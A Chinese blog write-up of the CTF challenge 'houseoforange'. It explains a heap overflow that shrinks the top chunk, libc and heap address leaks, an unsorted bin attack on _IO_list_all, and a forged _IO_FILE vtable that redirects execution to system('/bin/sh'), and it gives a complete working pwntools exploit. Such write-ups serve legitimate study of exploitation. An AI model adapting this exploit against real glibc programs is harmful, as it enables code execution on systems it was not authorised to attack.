house_of_orange

今天学习了下house_of_orange,总算是把house_of_orange给搞懂了house_of_orange原理其实很简单,就是利用unsorted bin attack 和_IO_FILE利用的结合
这里涉及到的知识点有点多,是堆利用和IO_FILE利用的结合,所以要对两者都有一定的了解
直接拿house_of_orange这道经典的题来说吧

防护机制:

image.png

基本程序逻辑:一共有三个功能

  1. build 创建一个house 输入housename的长度、内容、price、color的一些信息,并且它的将house更新为最新分配的house,所以我们只能对刚分配的house进行操作
  2. upgrade 更新house的内容,这里读取name时存在堆溢出漏洞
  3. see 打印出house的信息 ,这里可以将地址leak出来

大致思路:

通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,然后再分配一个大小在large bin 的大小范围内的chunk,那么这个chunk就会包含libc的地址和它本身的地址,通过两次upgrade和see将libc地址和heap地址都泄露出来。之后通过堆溢出修改old top chunk的size字段为0x60,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58,同时old top chunk会被链入small bin中,如果再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数,具体的下面会展开

  • 首先这个题没有free功能,所以要想办法可以生成一个unsorted bins的chunk,这里是通过堆溢出,修改top chunk的大小,使它变小,这里要注意top chunk的size是有一些检查的,然后分配一个大小超出top chunk大小的chunk,这时根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值的话,就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。

sysmalloc源码:

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
          && (mp_.n_mmaps < mp_.n_mmaps_max)))/*这里进行判断,判断分配的大小是否大于mmap分配的阀值,如果大于就是用mmap从新分配一个堆块,否则就会扩展top chunk*/
    {
      char *mm;           /* return value from mmap call*/
    try_mmap:
    
    .........
    ..........
      if (old_size != 0)
                    {
                      /*
                         Shrink old_top to insert fenceposts, keeping size a
                         multiple of MALLOC_ALIGNMENT. We know there is at least
                         enough space in old_top to do this.
                       */
                      old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
                      set_head (old_top, old_size | PREV_INUSE);
                      set_head (chunk_at_offset (old_top, old_size),
                                (2 * SIZE_SZ) | PREV_INUSE);
                      set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ),
                                (2 * SIZE_SZ) | PREV_INUSE);
                      /* If possible, release the rest. */
                      if (old_size >= MINSIZE)
                        {
                          _int_free (av, old_top, 1);/*将old top chunk free掉,加入unsorted bin*/
                        }
                    }
     ...........省略了挺多的 具体可以自己去看源码
  • 能产生unsorted bin 之后,就要想着怎么泄露出libc地址了,libc地址很好泄露,但是heap的地址也要泄露出来,用于后面伪造_IO_FILE_plus结构体。这里的做法是,通过申请一个large bin大小的chunk,那么它的fd_nextsize和bk_nextsize中会存放自身的地址,通过这就可以泄露出堆地址

    具体做法是,是使用upgrade功能,将name依次更新为‘aaaaaaaa'及’a'*16 然后通过see功能就可以将地址打印出来

build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20  
print "libc base address -->[%s]"%hex(libc_base)

upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
  • 利用unsoted bin attack将 _IO_list_all 修改为 main_arena+88 这个很容易就实现,之后再分配一个chunk时会触发malloc_printerr

       if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
                  || __builtin_expect (chunksize_nomask (victim)
                                       > av->system_mem, 0))
                malloc_printerr ("malloc(): memory corruption");
    
  • 触发malloc_printerr后会调用一系列函数,最终调用 _IO_overflow函数

    函数大致调用链
    mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
    而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
    #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
    

    _IO_flush_all_lockp源码:

    _IO_flush_all_lockp (int do_lock)
    {
      int result = 0;
      FILE *fp;
    #ifdef _IO_MTSAFE_IO
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
    #endif
      for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
        {
          run_fp = fp;
          if (do_lock)
            _IO_flockfile (fp);
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
               || (_IO_vtable_offset (fp) == 0
                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                        > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
               )
              && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
            result = EOF;
          if (do_lock)
            _IO_funlockfile (fp);
          run_fp = NULL;
        }
    #ifdef _IO_MTSAFE_IO
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
    #endif
      return result;
    }
    

    所以这里通过将_IO_list_all修改为main_arena+0x58,这时IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 0x58 + 0x68-->small bin中大小为0x60的位置,所以之前将old top chunk的size修改为0x60,old top chunk就会链入small bin中,这时就可以将伪造的fake_file链入IO_all_list中,将fake_file的vtable指向伪造的IO_jump_t结构的地址,在伪造的 IO_jump_t 结构体中,在overflow函数处写入system函数,则最终会调用system函数

    伪造的file结构体要通过的条件

    1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       
    或者是
    2.
    _IO_vtable_offset (fp) == 0 
    && fp->_mode > 0 
    && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    

    一般来说上面比较好伪造,我下面的exp也是伪造的上面的
    如果伪造下面的话还要关注一下_wide_data结构体,这里就略过了

查看是否为伪造成功

image.png

此时的vtable已经指向伪造的函数表了

image.png

exp:

from pwn import*
context.log_level = 'debug'

p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc

def menu(idx):
    p.recvuntil(': ')
    p.sendline(str(idx))

def see():
    menu(2)

def build(length, nm, pz, color):
    menu(1)
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(nm)
    p.recvuntil(":")
    p.sendline(str(pz))
    p.recvuntil(":")
    p.sendline(str(color))

def upgrade(length, nm, pz, color):
    menu(3)
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(nm)
    p.recvuntil(":")
    p.sendline(str(pz))
    p.recvuntil(":")
    p.sendline(str(color))

build(0x30,'a'*8,123,1)
#gdb.attach(p)

payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
upgrade(len(payload),payload,123,2)

build(0x1000,'b',123,1)
log.info('-----------------------leak address-------------------------')
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20  
print "libc base address -->[%s]"%hex(libc_base)

upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)

_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
log.info('-------------------------unsorted bin and build fake file--------------------------')
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
fake_file = '/bin/sh\x00' + p64(0x60) 
#这里写入binsh字符串是因为最后调用vtable中的函数时会将IO_FILE的指针作为参数
fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
fake_file += p64(0) + p64(1) #bypass check 
fake_file = fake_file.ljust(0xc0,'\x00')

payload += fake_file
payload += p64(0)*3
payload += p64(heap_base + 0x5e8)#vtable
payload += p64(0)*2
payload += p64(system)
upgrade(0x800,payload,123,1)

p.recv()
p.sendline('1')
p.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,793评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,567评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,342评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,825评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,814评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,680评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,033评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,687评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,175评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,668评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,775评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,419评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,020评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,206评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,092评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,510评论 2 343

推荐阅读更多精彩内容